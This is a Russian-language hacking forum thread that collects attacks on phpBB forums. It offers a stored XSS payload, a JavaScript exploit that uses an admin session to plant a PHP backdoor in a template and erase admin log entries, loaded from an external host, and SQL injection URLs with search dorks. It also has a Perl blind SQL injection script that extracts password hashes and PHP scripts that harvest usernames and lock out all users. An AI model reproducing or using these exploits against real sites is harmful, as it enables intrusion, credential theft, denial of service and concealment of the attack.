Активный межсайтовый скриптинг и автозагрузка шелла в phpBB 3.0.x-3.0.6 1. Активный межсайтовый скриптинг phpBB 3.0.x-3.0.6. BB-тег [flash] неотфильтрован чуть менее, чем полностью. [flash=1,1]javascript:confirm(/lo/);//lo[/flash] По умолчанию данный тег недоступен для зарегистрированных пользователей, но его можно разрешить для использования в личных сообщениях. Работоспособность : Opera & Safari Но есть ли там ещё XSS? O, да! 2. Автозагрузка шелла/ бэкдора и т.д. через XSS. Для работы скрипта требуется, чтобы администратор был авторизован в админ. панеле. Эксплойт реализует метод, описанный здесь: https://forum.antichat.ru/showpost.php?p=1176333&postcount=36: * Скрипт не станет повторно добавлять php-код, если он уже имеется в шаблоне. * В логе администратора удаляются записи только о произведенных действиях. Шелл будет доступен по адресу: http://vulnsite.xz/forum/ucp.php?mode=login&lo=test Также рекомендуется ознакомиться с этим https://forum.antichat.ru/showpost.php?p=1231741&postcount=37 Эксплойт: Code: /*/ phpBB 3.0.x-3.0.6 shell-inj. /// Example: javascript:with(document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src='http://yoursite.xz/shell-inj.js';void(0); /// LeverOne. 12.2009 /*/ phpcode = '<!-- PHP --> if($_GET[lo]) echo($_GET[lo]); <!-- ENDPHP -->'; template_file = 'login_body.html'; // выделение базового url (директория админки и сессия) из главной страницы get_base_url(location.pathname.substring(0, location.pathname.lastIndexOf('/') + 1)+'#'); function get_base_url(url) { requester('GET', url, null, function() { if (r.readyState == 4) { base_url = r.responseText.match(/\.\/.+?\?sid=.{32}/); if (base_url != null) get_default_style(base_url); } } ); } // получение названия стиля по умолчанию function get_default_style(base_url) { requester('GET', base_url + '&i=styles&mode=style', null, function() { if (r.readyState == 4) { default_style = r.responseText.match(/<strong>(.+?)<\/strong> \*/)[1]; get_templ_id(default_style, base_url); } } ); } // получение id шаблона по умолчанию function get_templ_id(default_style, base_url) { requester('GET', base_url + '&i=styles&mode=template', null, function() { if (r.readyState == 4) { expr = new RegExp(default_style + '[\\w\\W]+?(id=\\d+)"', 'm'); templ_id = r.responseText.match(expr)[1]; to_edit_templ(templ_id, base_url); } } ); } // на пути к редактированию шаблона... function to_edit_templ(templ_id, base_url) { requester('GET', base_url + '&i=styles&mode=template&action=edit&' + templ_id, null, function() { if (r.readyState == 4) { creation_time = r.responseText.match(/creation_time" value="(\d+)/i)[1]; form_token = r.responseText.match(/form_token" value="(.+?)"/i)[1]; postdata = 'template_file=' + template_file + '&creation_time=' + creation_time + '&form_token=' + form_token; edit_templ(templ_id, base_url, postdata); } } ); } // редактирование шаблона function edit_templ(templ_id, base_url, postdata) { requester('POST', base_url + '&i=styles&mode=template&action=edit&' + templ_id + '&text_rows=20', postdata, function() { if (r.readyState == 4) { template_data = r.responseText.match(/rows="20">([\w\W]+)<\/textarea/mi)[1]; template_data = template_data.replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"').replace(/&/g, '&'); if (template_data.indexOf(phpcode) == -1) { template_data = encodeURIComponent(template_data + phpcode); creation_time = r.responseText.match(/creation_time" value="(\d+)/i)[1]; form_token = r.responseText.match(/form_token" value="(.+?)"/i)[1]; postdata = 'template_data=' + template_data + '&template_file=' + template_file +'&creation_time=' + creation_time + '&form_token=' + form_token + '&save=1'; setTimeout("send_edit_templ(templ_id, base_url, '" + postdata + "')", 1000); } } } ); } // отправка редактированного шаблона function send_edit_templ(templ_id, base_url, postdata) { requester('POST', base_url + '&i=styles&mode=template&action=edit&' + templ_id + '&text_rows=20', postdata, function() { if (r.readyState == 4) { to_allow_php(base_url); } } ); } // переход на страницу настроек безопасности function to_allow_php(base_url) { requester('GET', base_url + '&i=board&mode=security', null, function() { if (r.readyState == 4) { creation_time = r.responseText.match(/creation_time" value="(\d+)/i)[1]; form_token = r.responseText.match(/form_token" value="(.+?)"/i)[1]; postdata = 'config%5Btpl_allow_php%5D=1&submit=1&creation_time=' + creation_time + '&form_token=' + form_token; setTimeout("allow_php(base_url, '" + postdata + "')", 1000); } } ); } // разрешение php в настройках function allow_php(base_url, postdata) { requester('POST', base_url + '&i=board&mode=security', postdata, function() { if (r.readyState == 4) { to_delete_log(base_url); } } ); } // на пути к удалению логов... function to_delete_log(base_url) { requester('GET', base_url + '&i=logs&mode=admin', null, function() { if (r.readyState == 4) { log_num = r.responseText.match(/mark\[\]" value="(\d+)/g); postdata = 'mark%5B%5D='+ log_num[0].substring(15) + '&mark%5B%5D=' + log_num[1].substring(15) + '&mark%5B%5D=' + log_num[2].substring(15) + '&delmarked=1'; delete_log(base_url, postdata); } } ); } // удаление логов function delete_log(base_url, postdata) { requester('POST', base_url + '&i=logs&mode=admin', postdata, function() { if (r.readyState == 4) { confirm_uid = r.responseText.match(/confirm_uid" value="(\d+)/i)[1]; sess = r.responseText.match(/sess" value="(.+?)"/i)[1]; sid = r.responseText.match(/sid" value="(.+?)"/i)[1]; confirm = r.responseText.match(/confirm" value="(.+?)"/i)[1]; postdata = postdata + '&confirm_uid=' + confirm_uid + '&sess=' + sess + '&sid=' + sid + '&confirm=' + encodeURIComponent(confirm); confirm_key = r.responseText.match(/confirm_key=(.+?)"/i)[1]; confirm_delete_log(base_url, postdata, confirm_key); } } ); } // подтверждение удаления логов function confirm_delete_log(base_url, postdata, confirm_key) { requester('POST', base_url + '&i=logs&mode=admin&confirm_key='+ confirm_key, postdata, null ); } // универсальная функция запроса function requester(method, url, postdata, func) { try {r = new XMLHttpRequest()} catch(err) {r = new ActiveXObject('Msxml2.XMLHTTP')} r.open(method, url + '&r=' + Math.ceil(1000*Math.random())); if (method == 'POST') r.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); r.onreadystatechange = func; r.send(postdata); } Как вы понимаете, он сработает с любой XSS.
Target: phpbb2* Dork: inurl:"kb.php?mode=cat" Example: Code: http://aquaticreefsystems.com/forum/kb.php?mode=cat&cat=13 SQL injection (without union+select): Code: http://aquaticreefsystems.com/forum/kb.php?mode=cat&cat=(select+1+from+(select+count(0),concat((select+version()),floor(rand(0)*2))+from+phpbb_kb_categories+group+by+2+limit+1)a) Префикс таблицы kb_categories может отличаться, но его видно в ошибке PS: актуально для 4.1<=MySQL=>5
Версия - 2.x Может я не увидел, и эта информация где-то должна отображатся, но всё же отпишу. Если у вас есть админка, и вам нужно узнать префикс для заливки шелла, делаем несколько банальных действий. Общие настройки - Резервная копия БД - Копировать только структуру(пташка) - начать копирование, файл скачивается и собственно в нём уже и смотрим префикс. Такая вот маленькая полезность. Может ещё кому пригодится.
=========================================== PHPBB 3.0.* CMS SQL Injection Vulnerability =========================================== # Exploit Title: PHPBB 3.0.* CMS SQLinjection # Date: 2010-08-27 # Team: eX.ploit ( Abjects #ex.ploit ) # Software Link: http://www.phpbb.com/ # Version: PHPBB3.0.* CMS only (does not work on FORUM only) # Tested on: Linux # Usage: SQLinjection # Gain detailed database information Google dork:[inurl:mypage.php?id= & "Powered by phpBB"] # Tested on:linux/php Url| http://www.website.com/news_view.php?id=1 Vuln: http://www.website.com/news_view.php?id=1+and+1=0+ Union Select UNHEX(HEX([visible])) ,2,3,4 # Inj3ct0r.com [2010-08-27]
интересно. Да действительно работает даже на версии 3.0.8 м.б. есть еще что то что можно проверить? выдает: HTML: # # phpBB Style Configuration File # # @package phpBB3 # @copyright (c) 2005 phpBB Group # @license http://opensource.org/licenses/gpl-license.php GNU Public License # # # At the left is the name, please do not change this # At the right the value is entered # For on/off options the valid values are on, off, 1, 0, true and false # # Values get trimmed, if you want to add a space in front or at the end of # the value, then enclose the value with single or double quotes. # Single and double quotes do not need to be escaped. # # # General Information about this style name = prosilver copyright = © phpBB Group, 2007 version = 3.0.8 не удасться ли это использовать как уязвимость? более никаких ответов узнать не удалось хотя перелопатил кучу инфы на все запросы был ответ - " Forbidden You don't have permission to access /styles/ on this server. " не появиось ли чего новенького для 3.0.8 ?
Можно проверять по второму, идущему в стандарте, стилю: forum/styles/subsilver2/style.cfg Однако оба этих файла не могут дать твёрдой уверенности, т.к. не всегда обновляются админами при смене версии движка. Определить версию 3.0.8 можно по косвенным признакам: 1) Наличие файла forum/web.config (*nix отдаст как текст) 2) Ошибка 403 при запросе файлов из папки forum/includes/ (например, forum/includes/functions.php), в более старых версиях открывается чистая страница (ибо exit). Это не уязвимость. Это самодеятельность админов, в стандартной поставке файлы из папки forum/styles/ не защищены ничем
интересно. версия точно 3.0.8 все описанные выше косвенные признаки присутствуют,includes/ закрыты видимо .htaccess -ом и т.п. довольно интересно, нет ли каких либо советов? какие то недо конца или плохо закрытые ветки ? м.б. инъекции уже появились?
phpBB 3.0.7 Code: ###################################################################### # # PHPBB Version 3.0.7 Remote File Include ! # # Author : D.0.M TEAM # # Founded By : S3Ri0uS ! # # We Are : Inj3ct0r.com Exploit and Vulnerability Database. # # Public Site : WwW.Anti-Secure.CoM ! # # Security Site : WwW.D0M-Security.CoM ! # # Contact 1 : [email protected] ! # # Contact 2 : [email protected] ! # # SpT : All Iranian Hackers ! # ###################################################################### # # Dork : # # inurl:"powered by PHPBB Version 3.0.7" # # Exploit : # # http://www.site.com/path/common.php?phpbb_root_path=[shell code] # # http://www.site.com/path/cron.php?phpbb_root_path=[shell code] # # http://www.site.com/path/faq.php?phpbb_root_path=[shell code] # # http://www.site.com/path/feed.php?phpbb_root_path=[shell code] # # http://www.site.com/path/index.php?phpbb_root_path=[shell code] # # http://www.site.com/path/mcp.php?phpbb_root_path=[shell code] # # http://www.site.com/path/memberlist.php?phpbb_root_path=[shell code] # # http://www.site.com/path/posting.php?phpbb_root_path=[shell code] # # http://www.site.com/path/report.php?phpbb_root_path=[shell code] # # http://www.site.com/path/search.php?phpbb_root_path=[shell code] # # http://www.site.com/path/style.php?phpbb_root_path=[shell code] # # http://www.site.com/path/ucp.php?phpbb_root_path=[shell code] # # http://www.site.com/path/viewforum.php?phpbb_root_path=[shell code] # # http://www.site.com/path/adm/index.php?phpbb_root_path=[shell code] # # http://www.site.com/path/adm/swatch.php?phpbb_root_path=[shell code] # # http://www.site.com/path/download/file.php?phpbb_root_path=[shell code] # # http://www.site.com/path/includes/auth.php?phpbb_root_path=[shell code] # # http://www.site.com/path/includes/functions.php?phpbb_root_path=[shell code] # # http://www.site.com/path/includes/functions_content.php?phpbb_root_path=[shell code] # # http://www.site.com/path/includes/session.php?phpbb_root_path=[shell code] # # http://www.site.com/path/includes/template.php?phpbb_root_path=[shell code] # # http://www.site.com/path/includes/acm/acm_file.php?phpbb_root_path=[shell code] # # http://www.site.com/path/includes/acp/acp_attachments.php?phpbb_root_path=[shell code] # # http://www.site.com/path/includes/utf/utf_tools.php?phpbb_root_path=[shell code] # # http://www.site.com/path/includes/ucp/ucp_register.php?phpbb_root_path=[shell code] # # http://www.site.com/path/includes/ucp/ucp_pm_viewmessage.php?phpbb_root_path=[shell code] # ######################################################################
SSSetuPPP, это же бред. Файл common.php закрыт через .htaccess, во всех файлах из папки /includes/ при прямом запросе срабатывает exit, да и переопределние переменной phpbb_root_path ничего не сможет дать. Хотя указанный выше "эксплоит" ничего и не способен переопределить.
phpBB Version 3.0.7 Remote File Include Vulnerability _http://www.inj3ct0r.com/exploits/12604 _http://www.allinfosec.com/2010/06/09/phpbb-version-3-0-7-remote-file-include-vulnerability/
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Code: #!/usr/bin/perl # --------------------------------------------------------------- # phpBB 3 (Mod Tag Board <= 4) Remote Blind SQL Injection Exploit # by athos - staker[at]hotmail[dot]it # http://bx67212.netsons.org/forum/viewforum.php?f=3 # --------------------------------------------------------------- # Note: Works regardless PHP.ini settings! # Thanks meh also know as cHoBi # --------------------------------------------------------------- use strict; use LWP::UserAgent; my ($hash,$time1,$time2); my @chars = (48..57, 97..102); my $http = new LWP::UserAgent; my $host = shift; my $table = shift; my $myid = shift or &usage; sub injection { my ($sub,$char) = @_; return "/tag_board.php?mode=controlpanel&action=delete&id=". "1+and+(select+if((ascii(substring(user_password,${sub},1)". ")=${char}),benchmark(230000000,char(0)),0)+from+${table}_us". "ers+where+user_id=${myid})--"; } sub usage { print STDOUT "Usage: perl $0 [host] [table_prefix] [user_id]\n"; print STDOUT "Howto: perl $0 http://localhost/phpBB phpbb 2\n"; print STDOUT "by athos - staker[at]hotmail[dot]it\n"; exit; } syswrite(STDOUT,'Hash MD5: '); for my $i(1..33) { for my $j(0..16) { $time1 = time(); $http->get($host.injection($i,$chars[$j])); $time2 = time(); if($time2 - $time1 > 6) { syswrite(STDOUT,chr($chars[$j])); $hash .= chr($chars[$j]); last; } if($i == 1 && length $hash < 0) { syswrite(STDOUT,"Exploit Failed!\n"); exit; } } }
Уязвимость в phpbb 2.0.19 Уязвимость позволяет забанить всех пользователей на форуме, что в свою очередь может вызвать сбой в работе базы данных. Суть ошибки состоит в том, что при авторизации пользователя можно вести неверные данные x-раз, что приведет к бану соответствующего пользователя форума на определенное время указное в админке форума и пользователь при авторизации увидит следующее - (Максимальное количество попыток (X) войти на форум было исчерпано. Вы не сможете войти на форум в последующие Y минут.) или произойдет ошибка в базе данных (phpBB : Critical Error Could not connect to the database). Эксплоит (написан на php) Собирает в файл Ники всех пользователей форума. Code: <? $host="Сайт"; $papka="Папка с форумом"; $port=80; $number_users=2050; $start=1; set_time_limit(0); $file="user.txt"; $file=fopen($file,*w*); for($i=$start;$i<=$number_users;$i++) {$request="GET http://$host/$papka/profile.php?mode=viewprofile&u=$i HTTP/1.0\r\n"; $request.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, *\/*\r\n"; $request.="Accept-Language: ru\r\n"; $request.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n"; $request.="Host: $host\r\n"; $request.="Proxy-Connection: Keep-Alive\r\n\r\n"; $sock=fsockopen("$host",$port,$errno,$errstr); fputs($sock,$request); while(!feof($sock)) {$str=fgets($sock); if(preg_match("/nowrap=\"nowrap\">Профиль пользователя (.*)<\/th>/i",$str,$return)) {if(trim($return[1])!=**) {fputs($file,"$return[1]\n"); }}}} fclose($file); fclose($sock); ?> Скрипт для сборки всех зарегенных юзеров универсальный т.е. подходит под любой форум. Но только если: 1. Если не зарегеным пользователям можно смотреть профайл других (иначе придеться еще посылать строку с вашими куками) 2. Правильно настроен preg_match("/nowrap=\"nowrap\">Профиль пользователя (.*)<\/th>/i",$str,$return)) в некоторых форумах придеться немного изменить, если допустим имя юзверя находиться в титле <title>Юзер - Lamer</title> то переписываем preg_match как preg_match("/<title>Юзер - (.*)<\/title>/i",$str,$return)) Сам сплоит Code: <? set_time_limit(0); $host="Сайт"; $papka="Папка с форумом"; $file=fopen("user.txt",*r*); while(!feof($file)) { $str=fgets($file); $str=trim($str); for($i=0; $i<=5; $i++) { $request="POST http://$host/$papka/login.php?sid=f1bed4ab383a8521a612d6896e0ee21e HTTP/1.0\r\n"; $request.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, *\/*\r\n"; $request.="Referer: http://$host/$papka/login.php\r\n"; $request.="Accept-Language: ru\r\n"; $request.="Content-Type: application/x-www-form-urlencoded\r\n"; $request.="Proxy-Connection: Keep-Alive\r\n"; $request.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2)\r\n"; $request.="Host: $host\r\n"; $request.="Content-Length: 73\r\n"; $request.="Pragma: no-cache\r\n"; $request.="Cookie: b=b; phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D; phpbb2mysql_sid=f1bed4ab383a8521a612d6896e0ee21e; hotlog=1\r\n"; $request.="\r\n"; $request.="username=$str&password=5555&redirect=&login=%C2%F5%EE%E4\r\n\r\n"; $fp=fsockopen("$host",80,$errstr,$errno); fputs($fp,$request); fclose($fp); } } ?> Защита Убрать ограничение на число входов с неправильным паролем или увеличить его число через админку форума.
stepashka_, cylaaan => 1. http://forum.antichat.ru/showpost.php?p=198446&postcount=3 2. 1) Вкладка общие --> Безопасность Разрешить php в шаблонах: Да 2)Вкладка Стили --> Компоненты стилей ->> Шаблоны С помощью встроенного редактора шаблонов выбираем файл и пишем в него: PHP: <!-- PHP --> phpinfo(); <!-- ENDPHP --> Далее применяем шаблон, идем на измененную страницу и видим наш php код
phpBB => `Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group`Тип: полный путь. Необходимо: админская учётная запись. 1.)Заходим в администраторскую панель. 2.)Переходим на вкладку PHPBB SEO. 3.)Находим на этой страничке "The cache folder configured is" и после этих слов и будет полный путь. P.S Полезно, если file_priv=Y, а пути мы не знаем
Osstudio, данная вкладка не является стандартной для форума phpBB3, она является управляющей частью дополнения phpBB SEO от одноимённой команды www.phpbb-seo.com Определить наличие данной модификации можно по значку внизу форума.